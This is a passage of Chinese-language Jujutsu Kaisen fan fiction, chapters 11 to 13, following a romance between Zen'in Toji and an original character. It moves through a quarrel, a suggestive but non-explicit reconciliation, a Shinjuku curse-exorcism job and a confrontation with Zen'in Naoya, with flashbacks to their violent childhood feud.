很痛,推动肩膀的手顺着下滑抓住了手腕,好像要被捏碎般咯吱作响。
“甚尔…?”
唯一。
还真是个小孩子啊,满脑子都是些单纯的想法。
禅院甚尔眼底闪过一丝嘲弄,转瞬即逝。
“漂亮话倒是不少,”他揉搓着女生柔软的脸颊,“我们不过才见了两面吧?你的喜欢,好像有点随便啊。”
什——
霞岛星紘顾不上疼痛,仿佛被这句话刺痛了一样,呼吸暂停了一瞬。
“你不记得了啊……”
她小声喃喃,禅院甚尔虽然听清了,但不懂她什么意思。
他们以前见过吗?
“不记得也好。”
霞岛星紘却说。
她胡乱摇头甩开甚尔的手,语气比以往更强硬,更坚定,但又控制着自己的音量不去吵醒客厅的小孩子。
“你是唯一啊,你对我而言是世界上最重要的人,我愿意为你做任何事,这些话就算你不喜欢听我也要说,我不想让自己的喜欢成为沉默寡言,我喜欢你,我一遍一遍的重复只是想让你知道这件事。爱是需要被说出来的,我想你知道我是爱着你的——而且,我……”
霞岛星紘深吸一口气,但是好像并不太能平复心情,反而卡在喉咙里不上不下。
没有想象中的容易接受,任谁被这么对待被这么说都会不高兴。
很痛。不仅仅是脑袋,喉咙,鼻子……上次淋了雨,感冒还没有好透。
上次…对啊,明明之前都很好,为什么忽然这样对她啊。
她酸涩又赌气的继续开口:
“我没有强求你给予我回应吧。玩弄我,戏耍我,怎么对我都好,你不是也没有拒绝吗?那为什么又要突然去在乎我给你的承诺呢?”
她拨开禅院甚尔的手。
金色的眼眸在质问,在控诉。
“你害怕那些是虚假的吗?”
禅院甚尔表情一顿,很快又恢复成无所谓的模样,勾了勾唇角,似乎对这个问题感到可笑。
霞岛星紘只是看着他,继续开口:
“甚尔,怕我只是对你说出了对谁都有可能说出来的话吗?”
…
“怕我对你的喜欢不过嘴上说说,怕我下一秒就会离开吗?”
…
“怕我无法兑现自己的承诺而让你感到失望吗?”
可笑…
“我表现得不够明显吗?如果语言、动作、感受都无法让你获得安全感,我只能通过时间来证明了啊
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,但你甚至连机会都没有给我,就要把我推开,理由也很可笑,把自己的妄想强加在我身上…”
她抿着唇,生硬的将那几个字挤出来。
“凭什么啊?”
…。
安全感,这种东西他才不需要。
“你说我们只见过两次,我的喜欢很随便,你的定义就不随便了吗?不要用你的固有思想去束缚新出现在你生活里的人。”
话真多啊。
禅院甚尔目光晦涩的盯着那一张一合的小嘴。
很烦。
想堵住那张聒噪的嘴。
他也的确这么做了。
抓着她,抱着她,按住她。
在震惊中俯身,以最纯粹的方式去感受。
更加放肆,更加没有章法。
凌乱,撕咬,疼痛,纠缠。
被他按在冰冷地板上,看起来小上一圈的手,能被掌心完全包裹着,想要躲避却被掰开插/进指缝十指相扣,用力、用力,直到手背上鼓起青筋。
在他□□屈起的膝盖微微颤抖着,肌肤贴紧他大腿内侧的布料,在颤抖中瑟缩,仿佛这样能获得安全感。
额前的碎发已经被撩到了一边,被盖在碎发下的脸是艳丽的、漂亮的,金色瞳孔如同被阳光亲吻过的琥珀,充斥他,包裹他,包容他。
被咬伤的唇沾上含糊的粘液,小巧的舌尖已经不得不伸出一些来维持呼吸,眼角的泪摇摇欲坠,看他的模样大概也是一片朦胧吧。
声音断断续续,嘟嘟囔囔,说着自己感冒了很难过,说身体感觉好累还要被这么对待好过分。
然后眼泪啪嗒啪嗒的往下掉,说自己也没有办法嘛,也不知道该怎么做了,为什么不能试着接受她呢……
每一个字,他都听的真切。
流着眼泪说出来的算什么喜欢啊。
禅院甚尔垂眸,似乎只有看着对方被他压在身下无法挣扎、眼泪与唇上的鲜血混合的可怜模样,才能平息心里升起的那一股莫名火气。
但又觉得应该去抚摸,去温柔,去把她顺着唇角描摹的血渍抹去,看她嘴角上扬露出笑容。
被他这样对待,都说不出一句狠话。
还要说喜欢。
真是……
“…”
禅院甚尔直起腰板。
头顶的灯重新照在女生脸上。
眼泪被粗鲁的抹掉,霞岛星紘吸了吸鼻子,手遮住自己的脸好一会,才重新看向坐在自己身上的男人。
伸手推他:“甚尔,好重。”
严格来讲,禅院甚尔是蹲着的,他腿岔开支撑在霞岛星紘身体一侧与双腿之间,大腿还维持着发力的姿势。
在撒娇…吧。
他视线落在随剧烈呼吸起伏的胸廓上,属于他的衣服已经皱皱巴巴,褶皱向上堆叠起了好几层,不知道想了些什么,亦或许什么都没想——他一把掀开了。
……?!
霞岛星紘一惊。
禅院甚尔抓住准备使用能力离开的她。
“小惠醒了…”
“我知道。”
你知道什么啦…!!
禅院甚尔在她脸上读出了这种含义,紧接着就被霞岛星紘抬起的脚踩住胸口。
没踩动。
霞岛星紘捂住脸。
什么啊什么啊…她是踩在了一堵墙上吗!超硬!
用了力的,但没人告诉她,她现在看起来整个人都软绵绵的。
禅院甚尔抓住脚腕,视线从她大腿内侧紧绷的肌肉线条上扫过。
“…让我起来。”
“换个可爱点的说法。”
——这家伙,完全没有把人家惹哭了的自觉啊。
霞岛星紘一脸不可置信。
“我们刚才不是在吵架吗?我…我也是有脾气的呀?”
她恢复的再快也不能下一秒就当什么事都没有发生一样吧?
禅院甚尔不说话,只是盯着她。
也没有起身的打算,温热的掌心在她柔软的小肚子上摸索。
好痒。霞岛星紘紧紧抿着唇。而且地板好凉…
“好吧……好吧好吧,”霞岛星紘泄气似的呼出这口气,“甚尔,让我起来嘛……”
“嗯。”
禅院甚尔嘴上应着,手却恶趣味的用粗砺拇指按在她细腻白皙的皮肤上,一笔一画写下とうじ,端详片刻,才放她起身。
……好幼稚。
霞岛星紘呆呆的想。
总算站起来的霞岛星紘将衣服整理好,准备去客厅里看小孩子的情况,眼神一瞥,却发现灶台上有一锅黑黢黢看不出来是什么的东西正在冒着黑烟。
她迟疑的走过去,犹豫着还是掀起了锅盖。
“这是……咖喱吗?”
“啊,”禅院甚尔站在她身后看了一眼,毫无愧疚感。
“糊了。”
“……”
11. No.11
“啊——”
霞岛星紘举着勺子,将南瓜泥送入张大嘴巴嗷嗷待哺的小惠口中。
仿佛刚才的事没发生一般。如果不是她眼眶红红的,像是没有抹匀称的眼影悄悄藏于下睫毛的阴影中,流露着可怜兮兮的讯息。
除此以外……
不正眼看他。
也不主动和他说话。
禅院甚尔拿起芝士球,手指轻轻一捏,两个并一个扔进嘴里,酥脆外皮咬的嘎吱作响。
他对这种垃圾食品没什么兴趣,咖喱是彻底失败了,提出出去吃,霞岛星紘就瘪着嘴摇头好像很不乐意。
禅院甚尔索性将手机丢给她,让她随便点些什么。
炸鸡披萨和小食铺满了桌面,刚开始吃的还很开心,但不小心碰到他的手后就立刻缩了回去,被稍稍逗弄了几下,连吃都不吃了,转过身去喂小孩。
迟来的脾气么,这也太迟了。
光是等外卖就已经过去了一个小时。
禅院甚尔在纸巾上抹掉芝士粉,等那个小鬼吃掉最后一口被擦干净脸蛋后,手臂一捞,直接环着霞岛星紘的腰将人抱到自己腿上。
忽然腾空的霞岛星紘:?
反应过来后挣扎剧烈。
正常情况下她力气挺大的,但后天努力型比不过天赋怪加后天努力型。
在男人用虎口掐住自己小腹上的赘肉那一刻,霞岛星紘一个激灵跳了起来,她站在沙发上,难得能俯视人的高度因为混乱的脑袋到显得没那么重要了。
“我觉得,我们还是保持距离比较好。”霞岛星紘故作严肃的开口。
禅院甚尔从喉咙中发出一声懒洋洋的:“嗯?”
“刚才我仔细思考了一下,在没确定关系前做这些事的确不太好……之前是我做的太过分了,以后不会突然亲你了。”
“嗯哼。”
“…不会突然出现在你面前,或者突然抱住你……”
“继续。”
“也不会一直说喜欢……”
霞岛星紘闭了闭眼睛,眉头轻颤——
“…你倒是阻止我呀!”她猛的跪在禅院甚尔的大腿上,双手捧起他的脸,用力挤压,“知道在说气话也不阻止我,因为这样就如你愿了嘛?休想啊甚尔,我会一直缠着你,十年、二十年、五十年,就算跑到天涯海角我都会出现在你面前,让霞岛星紘这个名字贯穿你的人生,让你以后只要看到星星就会想起我这个人,我说真的,甚尔,你一辈子都别想摆脱我——啊痛…”
脑袋忽然被狠狠敲了一下。
霞岛星紘不爽回头。镰刀刚刚站直,手握部位在地上砸的噹噹响,被包的乱七八糟的刀刃朝向宝宝椅上的小孩子愤怒的摇摆着。
——当着小孩子的面吵什么啊?
小孩含着勺子,眼巴巴的看着这边,比爸爸要更加深邃的瞳孔颜色像是颗流光溢彩的翡翠,散发着勃勃生机。
他好像并没有被吓到,这个年纪估计也无法理解那些话的意思。
即便不理解也不行。
当着小孩子面吵架什么的…
霞岛星紘蔫蔫的松开手,“抱歉…。”
“噢,没事。”禅院甚尔摸索着刚才被她指尖触摸过的位置,大度回应。
“我又没有和甚尔道歉——话说为什么一个两个都喜欢对我的头出手啊,很痛的欸。”
霞岛星紘捂向脑袋,镰刀敲的位置和刚才撞到冰箱的位置一致。
痛死了。
今天是她的脑袋受难日吗?
禅院甚尔瞥向她毛茸茸的脑袋。
那个啊……的确很大一声。
其实当时他并没有用很大的力气,只不过没想到对方不设防,结果就是失控掉了。
已经做了,解释显得有点多余。
禅院甚尔拽过霞岛星紘,顺便一脚将镰刀踢到小孩面前挡住视线。
“露出尖牙了吗…。”
嘴唇被手指捻开,她被迫咧开嘴,男人的指肚在尖锐的虎牙尖上按着,像是在给小猫小狗做牙齿检查。
被禅院甚尔压在腿上的霞岛星紘含糊不清道:“是人都会有脾气的哇。”
“是么,看不出来。”
“甚尔要是更喜欢无理取闹的性子,恐怕要失望了。”霞岛星紘眼眸暗了暗,好像想到了什么,“委屈你了,喜欢现在的我吧。”
温润舌尖说话时扫过指尖,有意无意的舔舐令原本不敏感的部位也掀起了一层波澜。和讨好的动作不同,那双金色瞳孔里明晃晃写着故意两个字。
比如刚才讲出‘豪言壮志’时眼底流露出的执拗,以及每一次接吻时从不闭上眼也没有隐藏过的贪求……
禅院甚尔收手,捻干指尖的水渍,问道:“你说我们之前见过,什么时候?”
“甚尔还在那个地方的时候。”霞岛星紘没有隐瞒,但也没有说的很清楚,毕竟对于他们两个而言,那属实算不上什么值得过度回忆的地方。
“不过还是忘了吧,可以的话我不想喜欢的人记起我落魄的模样。”
“像是把喜欢的人丢到自己打不过的东西面前,然后哭着说这也是没办法的事?”禅院甚尔故意道。
霞岛星紘一噎,“那是爱的拜托……甚尔,好记仇。”
她缓了缓,又道:“没办法嘛,几十人和一个人相比起来,肯定是前者重要啊。遇到甚尔之前其实我也想过噢,如果自己活下去,未来一定能救下更多的人……但他们,此时此刻就会失去未来。”
“在生命面前,以不确定的未来去赌当下,是不公平的。”
禅院甚尔嗤笑一声:“怎么,学校实行仁慈教育了么,连诅咒师也包含在拯救范围了?”
霞岛星紘好像没听出来其中的挖苦意味,认真解释道:“论迹,他们又没有做过真正意义上的错事,只是因为与普通人不同,又没有得到正确的引导,与所谓的正道偏离……罪不至死啦,大家本质上还是个好人。”
“天真。”禅院甚尔发出评价。
“嗯嗯,是甜的。”
霞岛星紘攀着他起身,牙齿咬住下唇磨了磨,似乎又觉得不够,学着他之前的样子更加深入。
倒是真被她学会了。
禅院甚尔盯着好像红温了的镰刀想。
*
霞岛星紘是被电话吵醒的,迷迷糊糊起来时还保持着窝在男人怀里的姿势,房间里温度高,皮肤上浮现出一层薄薄的汗,黏在针织衫上很不舒服。
但很困,懒得动,热就热吧。
她从兜里摸出手机,按下接听键,眼睛甚至还没完全睁开,纯靠将手机夹在她脸颊与甚尔大腿的贴合之间以此固定。
禅院甚尔拨开她挡住眼睛的发丝,白嫩的皮肤在灯光映照下几乎能看到细细的绒毛,与平时吵吵闹闹的样子不同,安静时的她让人有些不习惯。
“霞岛星紘,有临时任务,情报已经发到你手机里了。”
耳边突然响起年老的声音,被吓的一抖。
“啊…”
稍微清醒一点了。
她清清嗓子,回了句知道了。
睁眼,对上禅院甚尔墨绿色的瞳孔。
“嘿嘿…不小心睡着了。”
他知道。
亲着亲着就没意识了——那把镰刀估计以为他下了毒,一蹦一跳的就准备来索命,直到听到霞岛星紘均匀的呼吸声,一人一刀陷入沉默。
这家伙睡觉倒是老实,中途禅院甚尔还抱着她起身抓住试
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图从宝宝椅上逃脱但失败而差点一头栽到地上的小孩,就算是这样都没被吵醒。
到最后,怀里一个,腿边还躺着一个——这个到现在都还在呼呼大睡呢。
“口水。”禅院甚尔敲敲脸。
霞岛星紘一愣,胡乱抹了把脸,后知后觉的意识到对方在骗自己。
皱皱鼻子当作恐吓,她伸了个懒腰。
这些天基本是连轴转,平均下来每天的睡眠时间还不足两个小时。
毕竟这行业缺人是事实,这个季节与时段又更容易滋生诅咒。
累是理所当然的,和劝告后辈的想法也略有差池——但在其位,负其责,尽其事,霞岛星紘一直这样规范着自己。
至于别人,自然要宽以待人啦。
她不去做,任务便会派发给别人,如果对方实力不够,就会酿成悲剧。
再完美的果实也要有能让它茁壮成长的机会和空间,而不是刚看到青涩的果实就忙着去催熟。
她不介意并且愿意去做提供这些条件的人。
霞岛星紘点开短信。
【祓除新宿区x-xx-x的诅咒】
新宿啊,这个地址好像是在歌舞伎町旁边。
诞生于欲望和情/色的地方的咒灵,总是会让她感觉到不适——本来上班就烦,还要受到咒灵的骚扰,那些家伙可真的会嚷嚷着‘为什么不给我摸屁股’或者‘我只是想OO而已为什么拒绝我’之类的冲上来。
霞岛星紘转过去抱住禅院甚尔的腰,猛猛吸一大口。
“要去工作了,紧急补充一下能量。”
是阳光晒过的味道。
比起宿舍里冷冰冰的床垫,这里更舒服也更柔软。
——干脆把甚尔当成床吧。
霞岛星紘想。
她看任务信息时并未避开禅院甚尔,后者自然瞄到了地址。
眼熟。
有个欠了尾款的家伙就躲在这附近,这两天稍微有点忙,没来得及管他。
好日子也该过够了吧。
禅院甚尔玩着她卷翘的紫发,掀了掀眼皮:“我和你一起去。”
“欸?”
“不方便么?”
禅院甚尔的脸有很强的迷惑性。光看身体,浑身肌肉虬结,线条硬朗,挽到手肘的衣袖露出隆起又孔武有力的小臂,被环住的腰身劲瘦却充满爆发力。
但看到那张脸,明明经常在烈日下走行却依旧白皙的肌肤,眉峰柔软的弧度衬着细长凤眼,鼻梁高挺,薄唇,嘴角蜿蜒而上的疤痕不会显得突兀,反而为过于精致的五官添了几分桀骜与不羁的韵味。
说这话时,他盯着霞岛星紘,表情仅仅是少了些压迫和随意,便成了十分诱人的姿态。
他很少这样做,一般都是脑袋放空的时候,但这些鲜少时刻可一点都不少过来搭讪的人。
“怎么会呢甚尔,我非常欢迎哦。”
霞岛星紘摆弄着手机忙着回短信,压根没抬头。完全错过了禅院甚尔难得正确用脸的时刻。
在她眼里大概也没有什么区别吧,毕竟近视眼挺严重的。
那可真是……
媚眼抛给傻子看。
禅院甚尔又恢复了平时的模样,他脑袋向后靠在沙发背上,盯着天花板无语。
高层偶尔会不经过高专而直接下达指派任务,霞岛星紘有接近一半的工作量都是他们给的。
终于编辑完汇报短信发给北原修一,她抬起头,问出了至关重要的问题:“不过,小惠怎么办?”
渡月离开她超过一段距离就会变成一把‘普通’的镰刀,再说,让镰刀看小孩本来就不太现实。
闻言,禅院甚尔瞥了一眼抓着他裤子睡的正香的小孩。
12. No.12
咒术师并非天生就能看到咒灵。
0-3岁为大脑发育最活跃的黄金阶段,在这一阶段,神经元快速增殖,大脑的重量也会成长到接近成人脑重的80%。
也就是说,三岁左右才会开始逐渐看到咒灵。
再往后的5-6岁,则是术式觉醒期,拥有血脉、天赋的咒术师会在这个时间段领悟自己的生得术式。
当然,其中不乏有例外。
比如说觉醒期较晚,又或者能够领悟一个以上术式的人。
后者暂时还没有见到过,毕竟咒术的操控需要大脑的维持,术式过多非常有可能导致大脑过载而坏掉。
至于前者,霞岛星紘就是个例子。
她觉醒的时间比常人晚很多,但因为术式的特殊性以及对其程度开发的熟练度与操作性较强,于是在二年级时,升为了特级。
属于‘帐’的黑色屏障缓慢消失,霞岛星紘怀里的小孩若有所感般伸出手,像是肉嘟嘟的嫩藕节,短粗又可爱,在空中虚着抓了几下,摊开后却发现什么也没有。
小惠疑惑抬头,眼前忽然出现一个淡蓝色的荧光球,儿童的注意力总是很快转移,他又去够霞岛星紘用咒力凝结出来的小玩意。
“要走啦小惠,”霞岛星紘收起武器,改为双手抱着他,“去找爸爸咯。”
商量后最终还是带上了小惠,至于跟谁走,两人猜拳决定的。
猜拳弱势的霞岛星紘连输十局,禅院甚尔从一开始的无所谓到后面已经有点怀疑她是故意输给自己的了。
怎么能有人一次都没赢过。
但看对方越玩越不服输的劲——估计真相就是她真的很不会猜拳。
禅院甚尔算是第一次在赌运上赢了。
虽然只是猜拳,但感觉很微妙。
霞岛星紘走出废弃旅馆时,最后一抹夕阳也被不远处繁华的人高楼挡住,黑暗如潮水般将幽长的小巷吞没。
掉落的墙皮形成斑驳的影子,被雨水冲刷后形成青绿色的霉,印在上面像是一张张可怕的鬼脸。
霞岛星紘专心哄着小惠,本空无一人的身后,却忽然传来了脚步声。
一步、两步,缓慢而悠闲,像是笃定对方无法从面前逃开,从容自若。
霞岛星紘仿佛没有注意到,她垂着眼眸,睫毛颤了颤。
下一秒,映照在墙上的影子忽然间出现在距离她不过几十公分的位置。
抬起的手骨节分明,指甲修剪得十分整齐,黑暗盖住了他大部分面容,尽头的路灯却直直反射在他耳廓上那一排银色耳钉上。
指尖即将触摸到女生纤细脖颈时,一把泛着冷冽光芒的镰刀乍现,如月牙般的刀刃弯曲着,最锋利的部位几乎紧贴着他手背上的纹路,仿佛只要有一个细微的动作,那根漂亮的手指就会落地。
“直哉。”
霞岛星紘转身,淡蓝色咒力球充当了照明,将两人之间的一小片区域赋予光明。
眼前男人有着一头璀璨金发,微翘的发尾却是浓如墨的黑。细密睫毛根根分明,与圆润的下眼睑勾出一双眼尾上挑的狐狸眼,在眼下铺开一片朦胧的暗纹。
他眼皮傲慢的轻垂,遮住一部分瞳孔,与甚尔有几分相似的面容,却透着一种青涩顽劣。
禅院直哉目光扫过霞岛星紘身上的衣服以及她怀里那个小鬼,眉头皱起,又了然似的摊开。
他嘴角扬起一抹轻蔑的笑,语气嘲讽:“好久不见,你已经结婚了么?啊…抱歉?我是不是戳到你伤心事了?”
“?”霞岛星紘疑惑的歪了歪头。
禅院直哉忽略那个看着就惹人厌的小孩,向前一步,低头俯视她。
“还要靠女人出来赚外快维持生计,你的眼光也太差劲了吧?别不是被人骗了身子又被骗了钱。”
他顿了顿,语气有种带着笑意的满足感。
“星紘……没有我的日子,你真是过的稀巴烂啊。”
*
禅院直哉喜欢漂亮的,闪亮的东西。
而喜欢的东西,他都会得到手。
第一次见到霞岛星紘时,禅院直哉总共产生了两个想法。
——绮丽。
——是他的了。
禅院直哉喜欢她金色的眼睛,闪耀的金色里藏着细的光斑,像揉碎了的星子沉在琉璃盏里。
而拥有这双眼睛的人,反而根本没入他的眼。
禅院家的女人只有两种身份,奴隶或者繁育机器。拥有禅院家的血脉又如何,不也是弱小无用的女人?
恰好有了双他还瞧得上的眼睛罢了。
就这样,禅院直哉命人将她调到自己院子里来服侍。
禅院直哉这个身份,足以让他理所当然享受所有的尊重与敬畏。
侍奉他是种荣幸,感恩戴德吧。
怀揣着这种想法,年仅八岁的禅院直哉对着霞岛星紘说出了第一句话。
“跪下。”
——虽然多年后两人之间的身高差已经相差二十多厘米,但那时八岁的直哉和十二岁的霞岛相比,其实是要矮上一些的。
年幼的霞岛星紘留着及腰长发,亮泽柔顺,容貌精致,鼻子与嘴唇小巧玲珑,杏眼圆润格外明亮,偏又喜欢缓慢的眨着,看起来就像是个洋娃娃。
她静静的看着直哉,嘴唇翕动——
“滚开,臭小鬼。”
这是洋娃娃对禅院直哉说的第一句话。
声音像风铃,轻轻一碰就漾出清凌凌的调子。
但内容不堪入耳。
“…哈?”
从未有人敢这样对他说过话,禅院直哉甚至愣了两秒才反应过来要生气,“你这卑贱的——”
‘啪’。
比想象中的卑微认错来得更快的是利落清脆的巴掌。
柔软掌心带着她身上独有的香气。
“别来恶心我,不然我杀了你。”
禅院直哉歪着头,目眦欲裂——
她怎么敢——她怎么敢的!?
粗鄙,无耻,可恶——
喜欢的金色变成了令人厌恶的颜色,禅院直哉哪忍得了被人、还是自己从来看不起的女人这样对待,他猛地揪住对方的白色本衿,稍见雏形的强大力量压着对方按在榻榻米上。
看到对方因为疼痛眼角溢出的生理性泪滴,他满意的勾起唇角。
真弱小啊。
也不过如此嘛,禅院直哉想。
紧接着,是下腹部忽然传来的剧痛——她的确没什么力气,但攻击了最脆弱的地方。
痛觉随着神经蔓延,冷汗自额头滴落。
这个该死…该死的女人——!
愤怒中,掐着衣服的手已经挪到了纤细脖颈处,能被他一只手轻易掐住,再用些力,脊椎就会断掉。
可禅院直哉低估了濒死时肾上腺素的刺激和人类求生的欲望。
咬、掐、捶打。
肋骨,下腹,膝盖。
专挑脆弱的地方攻击。
记不清这场可笑的战斗持续了多久,但禅院直哉还记得她被人拖走时看向自己的目光。
像刚从冰窖里捞出来的碎玻璃,每一片都淬着青黑色的寒气。
再次见到霞岛星紘时,她身上多了许多包扎过的痕迹,头发也被剪短,齐到肩膀。
大概是被关到禁闭室了吧。
真愚蠢啊。
禅院直哉嗤笑。
——他和她,从根本上就是不同的。
单纯只是来看对方下场有多惨烈的禅院直哉得到了满意的结果,转身准备离开,却忽然听到身后仆人发出没规矩的惊呼——身后猛的多出一股重量,冲劲带着他向前趔趄了几步,尖锐牙齿贯穿了羽织咬在他的肩膀上。
禅院直哉狼狈回头,对上一双金色狠戾的眼眸。
是霞岛星紘。
至此,禅院直哉仿佛成为了她开启狂暴模式的开关。
冲到他的院子里咬他。
被拖走。
半夜翻墙进来骑在身上掐他。
又被拖走。
绕过层层守卫在他吃饭时试图用摔碎的瓷片割开他的喉咙。
再被拖走。
好像不知道疼痛和疲惫一样。
日复一日,就这样持续了大半年。
久到禅院直哉偶尔会突然意识到自己好像习惯了这种生活,却没觉得哪里不对。
就这样,直到那天。
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>和往常没什么区别的日子,但霞岛星紘并没有出现。
禅院直哉静坐在屋内。
外面那些仆人议论着,说她其实并非禅院家血脉。
说她的母亲是个放荡的女人,用不知道哪里来的野种骗取禅院家的钱财。
说家主仁慈,只选择了将其驱逐并未要她性命。
噢…她要离开了。
禅院直哉指尖点着装有精致糕点的盘子边缘,慢慢地,慢慢地,逐渐烦躁加快。
障子门被唰地拉开,议论声仿佛从未存在过般,周围静悄悄,所有人低垂着头,等待他发话。
“她在哪?”
没有人敢不回答,“在后门,直哉少爷。”
禅院直哉没有说话,气压低的好像能闷死人。
是吗,是吗。离开时连走正门的资格都没有,还真是……
禅院直哉沉默几秒,抬起头,脸上是恶劣到极致的讥笑。
——可怜啊,真可怜啊。
犹如丧家犬一般。
他怎么能错过这种时刻呢。
“直哉大人,您、您要出去吗?”
冰冷的孔雀绿色的瞳孔瞥过去,说这话的人顿时俯身,将头压的低低的。
心情好,懒得计较了。
禅院直哉朝后门走去,宽大的羽织下摆随着快步流星的动作翻飞如翼,青黑色布料上绣着的银色云纹被风扯得舒展开,又骤然聚拢——
“星紘。”
他叫住即将踏出门的女生。
后者缓慢转身,身上穿的是他们第一次见面时的和服。
禅院直哉想说些什么嘲讽的话,对方却在看到他时先一步弯了眸子。
那是他从未见过的表情。
柔和,明媚,轻松。
仿佛从这里离开是一件非常美好向往的事。
他曾经喜欢过的金色瞳孔展露出了最漂亮的光芒,对他,是的,对他。
“再见,直哉。”她说。
禅院直哉忽然想起,之前某一次她袭击的时候,两人有过短暂的和平时刻。
那时禅院直哉靠墙而坐,而霞岛星紘呈大字躺在榻榻米上,大大咧咧的动作完全不像一个女人。
“你为什么看我不爽?”他问。
女生望着天花板,过了好久后才给出答案。
“因为,你姓禅院啊。”
*
“被我说中了么?”禅院直哉看着沉默不语的女生,心中那股异样的感觉强烈。
——是快意与爽畅。
是了,满怀喜悦的离开了禅院家又怎么样?人生依旧一团糟啊。
离开了他,估计那些昂贵的糕点都吃不起吧?
可怜。
还有那个抱着她不放的小鬼…真碍眼啊。
但她要是死活非要带着孩子,也不是不行,以他的地位,谅也不会有人敢多言,到时候随便丢到哪个角落——她一定会更喜欢他给予的孩子。
他们的孩子。
仔细看看,那小鬼也是黑发绿眸,和他长得好像也有点相似……禅院直哉表情一顿,嘴角笑意愈发浓烈。
呵,嘴上说着讨厌,结果还是忘不了他么。
“那家伙在哪?”
“哈……什么?”
霞岛星紘从小就不太擅长应对禅院直哉,这家伙性格糟糕又粘人,她不主动去揍他,他就来招惹。
本想着离开那个破地方后就再也不用面对禅院直哉了,但他不知道从哪得来了自己的联络方式,又开启了网络骚扰模式。
直到她离开京都去了东京后,因为某一次事故手机坏掉,两人才彻底断了联系。
禅院直哉啧了一声,对她的迟钝很是不满。
他加重语气:“我说——你那个没用的丈夫在哪?我去宰了他…行李也别要了,反正都是些不值钱的玩意,等下直接和我回京都。”
依旧是高高在上的模样,但每一个字霞岛星紘都听不懂。
他又发什么疯?
禅院直哉还准备说些什么,左肩却忽然一沉。
紧接着,一个熟悉又充满压迫感的声音从侧后方冷不丁响起——
“你说,你要宰了谁?”
13. No.13
寂静小巷中。
禅院直哉那双泛着涟漪的眼眸骤然凝固,瞳孔在刹那间剧烈收缩——虹膜边缘的橄榄绿与中央的翠绿绞缠成一团混沌的墨,错愕在眼底炸开,平日里总含着几分高傲的眼尾此刻绷得笔直,连呼吸都停滞在喉间,靡靡声音喃出来者的名字。
“甚…尔。”
黑发男人淡漠的瞥了他一眼,径直穿过两人之间的空隙。
什么…?
甚尔怎么会出现在这里?
他刚才说的是什么意思?
禅院直哉的视线随着男人的身影移动——甚尔走到霞岛星紘身边,两人肩膀自然的贴近,明明没有碰到,却好像空气都融合在了一起。
怀里原本安静的小孩突然活了一样,伸出手揪着男人的衣袖,嘴里念叨着‘papa’之类的词汇。
“你…你们…”
禅院直哉猛的察觉到两人衣服是同款,他震惊于这个发现,但回过神来品味,心里更多的却是不爽。
一股莫名的烦躁萦绕在心头。
有点像是知道霞岛星紘离开京都、彻底与自己斩断联络那天的心情。
恍惚中,禅院直哉看到霞岛星紘扬起脸朝甚尔笑的模样,混沌的头脑在这一刻猝然清醒——啊,一切分明了。
“甚尔。”
禅院直哉如弓似得腕骨抬起,指腹带着薄茧却透着粉——指尖的方向直指霞岛星紘的脸。
“这个女人…根本配不上你!”
霞岛星紘:?
霞岛星紘:哈?
“别被外表欺骗了,这家伙完完全全就是——”
“臭小鬼,你想死吧?”
把小惠交给甚尔,霞岛星紘握住一旁蓄势待发已久的镰刀,似笑非笑且浑身散发黑气的咬牙道。
她不爽的看着眼前这个在几年间忽然就比自己高出许多的禅院直哉——突然的出现,又突然的讲了一大堆乱七八糟的话…直哉的脑袋终于坏掉了吗?
禅院直哉予以回视——俯视的角度,下巴扬起,睫毛硬邦邦的垂着,眉骨被压出深深的褶皱。狭长眼眸好似要将她完全看透似的,死死钉在她身上某处——或紫色发丝下绷出曲线的脖颈,或高挺圆润的胸/部,或纤细婉转的手腕,或裸/露笔直的双腿。
和印象中不一样。
长开了啊,这个女人。
禅院直哉面上不显,呼吸却有些微弱的短促。
她和甚尔……做了吧。
孩子都有了。
四肢好像被针狠狠的扎着,麻痹又刺痛着神经。
禅院直哉不自觉中攥紧双手。
霞岛星紘忽略他冒犯的眼神,回过头,朝甚尔露出故作可怜的委屈表情,声音不大不小,但清脆又清晰。
“老公,你说句话啊老公——”
老公…?!
原本还在沉思的禅院直哉炸毛了:“你这不知廉耻的女人!”
“怎样?”霞岛星紘反问。
语落,她右肩忽的搭上了一条手臂,霞岛星紘被半圈在强壮有力的臂弯里,带着向后靠去。
男人身上残留着在刚才房间里沾染上的烟草味,沉沉的漫开来。
甚尔俯身偏头,鼻尖若有似无地蹭过她耳后的碎发。他微微眯起眼睛,目光透过发丝间的缝隙直视着愣住的男生,薄唇轻启,声音低沉——
“滚。”
禅院直哉:?
*
深夜的新宿街道,仿佛进入了一个光怪陆离的世界,霓虹灯肆意闪烁,五颜六色的光芒交织纠缠,打扮时尚的年轻人,酩酊大醉的上班族…人群如潮水般汹涌澎湃。
一个成熟的男人和一个稚嫩的青少年,共同点是都有张帅气的脸,惹得一些情感猎人不断投掷过来殷勤目光。
“直哉,你还不回去吗?”
霞岛星紘停下脚步,走在旁边的两位自然而然的也跟着停下。
禅院直哉抱着肩,露出你在说些什么蠢话的表情。
事实上,他也不知道为什么会留下。
短暂说服自己的理由大概是想让甚尔知道这个女人的真实模样,潜意识却告诉自己这个理由站不住脚。
还有……
他辛辛苦苦从京都过来,竟然敢赶他走?
禅院直哉从小到大基本没变过的性子让他出言即将吐出一些尖锐难听的句子,却在看到站在她身后的男人后又消了音。
甚尔,到底为什么会看上她?
不知道为什么,好像更不爽了。
可恶可恶可恶——!!
禅院直哉一甩衣袖,气不过又没办法撒气,干脆大步流星朝前面走去。
霞岛星紘看了看甚尔,后者回了个随你喜欢的表情。
于是她开口叫住了在街上横冲直撞的少年:“直哉,如果你暂时不回去的话,我们在这里吃晚饭吧?”
她指指右边的一家散发香气的日式烤肉店。
禅院直哉停下脚步,保持着背对两人的姿势良久,才扭过头,挑剔嫌弃的看向那家店。
什么廉价肮脏的地方。
想用这里招待他?未免太难看了吧。
“小时候,我认错了人…”
霞岛星紘看着禅院直哉一脸不情愿但还是慢慢走来的模样,对甚尔解释道。
“以为直哉是我同父异母的弟弟,所以对他做了一些不好的事。”
开玩笑的,打了禅院直哉后,她并没有被关紧闭。
是直接被丢进了惩戒室。
只能看到咒灵但没有术式亦不会战斗,是她第一次进去时的状态,那时她满脑子都是绝对要活下去宰了禅院直毘人(*认错了爹)和禅院直哉这个杂种弟弟(*其实压根没弟弟)。
之后几次,就越来越熟练了,藏在袖子里的筷子、勺子、树枝,只要附上咒力就能作为武器。
霞岛星紘学东西很快,脑袋也很聪明,动手能力更甚,母亲不在家,年幼的她硬生生凭着过期杂志美食栏目上的那些简笔画养活了自己。
